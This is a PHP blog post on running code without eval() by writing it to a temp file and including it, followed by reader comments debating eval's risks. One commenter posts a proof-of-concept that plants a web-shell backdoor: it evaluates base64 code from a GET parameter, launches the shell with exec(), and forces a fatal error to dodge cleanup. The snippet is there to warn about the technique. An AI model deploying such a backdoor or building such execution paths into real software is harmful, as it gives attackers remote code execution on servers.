How to use eval() without using eval() in PHP


Yes I know. Eval() is evil. If our answer is to use eval() function, we are probably asking the wrong question. When we see an eval() function all our coding smell’s red lights start flashing inside our mind. Definitely it’s a bad practice.

But last week I was thinking about it. How can I eval raw PHP code without using the eval function, and I will show you my outcomes.

Imagine this simple script

<?php
error_reporting(-1);

class Foo
{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }

    public function hello()
    {
        return $this->name;
    }
}

$serializedOutput = null;
foreach (range(1, 100000) as $i) {
    $object = new Foo("name" . $i);
    $out[] = $object->hello();
}

$serializedOutput = serialize($out);

echo strlen($serializedOutput);

Now we are going to the same using eval function. Imagine for example that we are using an online PHP interpreter (yes, it’s hard to find examples to use eval()).

<?php
error_reporting(-1);

// Our PHP code inside a variable
$phpCode = '
class Foo
{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }

    public function hello()
    {
        return $this->name;
    }
}

$serializedOutput = null;
foreach (range(1, 100000) as $i) {
    $object = new Foo("name" . $i);
    $out[] = $object->hello();
}
$serializedOutput = serialize($out);
';
// end of variable
eval($phpCode);

echo strlen($serializedOutput);

Our ugly “eval” version does the same than the original one. Even the performance is almost the same. More or less the same memory usage and speed. The challenge now is to do the same but without using eval().

My idea is simple. Create a temporary file with the PHP source code, include this file with the standard PHP’s include functions and destroy the temporary file. Here is the code snippet:

<?php
error_reporting(-1);

// Our PHP code inside a variable
$phpCode = '
class Foo
{
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }

    public function hello()
    {
        return $this->name;
    }
}

$serializedOutput = null;
foreach (range(1, 100000) as $i) {
    $object = new Foo("name" . $i);
    $out[] = $object->hello();
}
$serializedOutput = serialize($out);
';
// end of variable
function fakeEval($phpCode) {
    $tmpfname = tempnam("/tmp", "fakeEval");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}
extract(fakeEval($phpCode));
echo strlen($serializedOutput);

This fake-eval have similar performance than eval version. Maybe a bit worse, probably because of the creation of the temp file, but almost inappreciable.

Maybe is not very useful script and, of course I strongly recommend the first version (without eval and fake-eval) but, what do you think?

24 thoughts on “How to use eval() without using eval() in PHP

  1. Really nasty :)… Best don’t use eval at all.

    Well, if you do want to make a tempfile however use either:
    the function : php.net/tmpfile
    or the stream wrapper : php://temp

    I even think the wrapper would be best, since if it is small ( by default less than 2 mb), it will reside within your memory instead having it actually written on the disk.

    In both functions, whatever happens, the temporarily file will be deleted.
    In your fakeEval() syntax happens may occur, which would result into a crash of the application.

  2. I figured I’d throw a proof of concept hack on the subject. Not that there’s a good reason to be doing it in the first place, but it’s possible that the non-eval’ed version could skip your unlink of the temporary file if it does something like force an exception:


    <?php
    // insert malicious code here...

    throw new Exception('Skip deletion');

    This could be mitigated by wrapping in a try/catch block. Worse yet, however, is the fact that the user could trigger an uncatchable fatal error:


    <?php
    // insert malicious code here...
    try {
    $script = '
    /dev/null 2>&1 &");
    } catch (Exception $e) {}

    // trigger error
    $winning = new DuhWinning();

    This is untested, so don’t hold me to it. Just my initial thoughts.

  3. Oh well, third time is a charm. Here’s a link to a gist of the vulnerability:


    <?php
    // insert malicious code here…
    try {
    $script = '
    <?php
    // harmful code
    if (!empty($_GET['exec'])) {
    eval(base64_decode($_GET['exec']))
    }';
    // save the file
    file_put_contents('./winning.php', $script);
    @chmod('./winning.php', 0777);
    // run harmful file in background
    exec("php ./winning.php > /dev/null 2>&1 &");
    } catch (Exception $e) {}
    // trigger error
    $winning = new DuhWinning();

    view raw

    malicious.php

    hosted with ❤ by GitHub

    You can glady delete the second post since the code didn’t get included.

  4. This feels similar to what the Doctrine project does, generating proxy classes to extend an application’s domain classes in code, writing them to a temp file and then including them. It’s a bit different in that they only write the proxies once, and then include them over and over again. The need is the same: sometimes code needs to be generated based on inputs from other code.

    I never understood why eval() was evil (lazy, but not evil) . Obviously you never, EVER eval() user input. But if you control all the inputs to what you are eval’ing, and you have a legitimate case for it, it’s just another tool in the toolbox. Of course, there can be endless debate over what is a “legitimate” use case. Most places I’ve seen anyone use an eval, you could switch out with a closure for much cleaner and safer code.

    1. Good! I will inspect Doctrine source. Do you known in which class Doctrine uses this technique? I would like to learn how Doctrine does. Probably it uses the best pattern (IMHO Doctrine2’s source code is awesome)

    1. Probably it’s the same. As bad/good than the use of eval. It was a challenge for me. I wanted to parse dynamic PHP code without using eval. Using only dynamic on-the-fly includes. Another tool into our toolbox

    2. eval can’t be disabled through disable_functions as it is a language construct. Only way is through the Suhosin Extension.

      I agree that bypassing it is kinda pointless. Don’t get fed up in the eval() is evil talk. If you need eval(), use it. Don’t try to hide it.

  5. interesting use of extract(get_defined_vars()) after an include hmmm
    can you explain a little bit more what these two functions do?
    extract and get_defined_vars

    thanks

    1. The problem with my fakeEval function is the scope. When I include the file local variables bellows to the function scope, and I want to use them outside. Because of that fakeEval returns get_defined_vars. Now I create the defined variables in the new scope with extract.

      OK this script is incomplete. It only exposes defined variables. We don’t have functions and constants. If we need them maybe we need to use get_defined_functions(), get_defined_constants()

    1. Yes. You hit me! If code generates output with echo this code is not enough. Maybe we need to play with output buffering to get the echoed text. Basically the idea is to create files on the fly and include them.

  6. 🙂
    You better should go to a college where you will learn that you should never mix data with code. Program flow should be always readable and predictable.
    And don’t angry sys.admins. They really don’t like this tricks 😉
    There is a bunch of others methods to replace successfully eval, but keep in mind, – you loosing trust not only from admins(who knows those tricks) and users, but also brake your own mind if you think it is your toolbox. Do you want to be hired – forget once and forever about any dynamic evaluation/inclusion.

    1. I don’t really understand your comment. Tools are tools. They are neither good nor evil. Eval is ugly and normally becomes the code into a mess (re-read the first paragraph). Have a look to Doctrine source code (a reference in one comment above). It uses the same technique than I show in this post to create a proxy. Maybe they also need to be re-educated (sorry for the sarcasm). And don’t worry. Sysadmins are not argy with me 🙂

  7. Gonzalo, it sounds like I offended you, so first off all – I’m sorry if it is the case. I really didn’t wanted to do that.

    “Tools are tools. They are neither good nor evil.”
    No, you wrong.
    If one hammers nails with help of microscope – it means, it is a wrong tool.
    ‘eval’ violate fundamental principle of programming that says – “never mix data with code/logic”.
    Any kind solutions that do the same as ‘eval’ – it’s also wrong practice.
    I didn’t dig Doctrine’s code that is referenced here but if there is a dynamic evaluation of DATA(or inclusion based on DATA such as “include $myModule”) then – Yes, they need to educate themselves, otherwise this http://www.securityfocus.com/bid/47592/info would happen again and again (Symphony use doctrine) .

    I deal with security issues on daily basis and probably wouldn’t be wrong if I’ll tell you that more than 75% of issues – it is dynamic evaluation/inclusion.

    “And don’t worry. Sysadmins are not argy with me”
    🙂 I blocked yesterday a few thousands sites by disabling on servers ‘eval’, ‘create_function’ … and even attempts to use more advance techniques like this one
    http://www.ibm.com/developerworks/xml/library/os-php-flexobj/

    Do you think I was happy or angry yesterday? 🙂

    (I think you would like the link above, if you still continue to like this kinda of technique but read carefully what mr. Herrington wrote there – using this on development stage is good, using it in production -is bad. The same applied to ‘eval’ and all its friends )

    You know, every time when debates about “correct/validated/etc” using of ‘eval’ is started – I always ask those people: “Hey , guys, do you know that driving on a red traffic light signal is bad even if there no any cars crossing a road?”
    Someone understands, other are too stubborn, until they learn that they can’t use HipHopp, php accelerators, loosing speed and finally will be required to rewrite their code because of some angry admin who will disable potentially dangerous tools because he need to stop hackers who really likes to teach over-smarted programmers who don’t want to learn and follow programming rules.

    Do not write overcomplicated code. It should be easy readable and predictable otherwise you’re loosing control over your own program. Just a friendly advice, please – no offense at me.

    1. As you can read in the first paragraph of the post I’m not telling that eval is good. The post is about dynamical code execution and how to do it without using eval.

      You said that this technique is always bad but IMHO this assertion (as every assertion) is not 100% true. “include $module;” is the base of every Framework (we are not crazy enough to include every controller with each request. The router normally must include one file or another depending on the request). If you work building Frameworks you will know that. Of course you must have one good reason to use it, but not only because your sysadmin saids. Sysadmin is a professional and knows what to do, but developer is a professional too.

      You are turning the conversation to the edge. In my opinion the scenario: sysadmin is the only one who knows about security and he must protect the server from the unaware developer is not good. (the opposite one: developer-god and sysadmin-incompetent neither). As I said before I assume we both are professional. If one side is not a competent professional, hire a good one.

      For example if you manage a shared server provably is a good idea to disable socket functions and curl extensions but If my sysdamin block those extensions I will angry with him 🙂

  8. Although I do not recommend, here is another solution that allows you to make dinamic PHP code without using eval.

    Assuming you have this in your php.ini:
    allow_url_fopen = On
    allow_url_include = On

    you can use the “data://” wrapper for including a string as a file on the fly in this way:

    $code = ‘name = $name;
    }

    public function hello()
    {
    return $this->name;
    }
    }

    $serializedOutput = null;
    foreach (range(1, 100000) as $i) {
    $object = new Foo(“name” . $i);
    $out[] = $object->hello();
    }
    $serializedOutput = serialize($out);

    ‘;

    require ‘data://text/plain;base64,’. base64_encode($code);
    echo strlen($serializedOutput);

    It’s just for knowledge, i do not reccomend this solution because:

    1. It’s slower than eval
    2. It’s unsafe playing with allow_url_fopen and allow_url_include on a production server.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.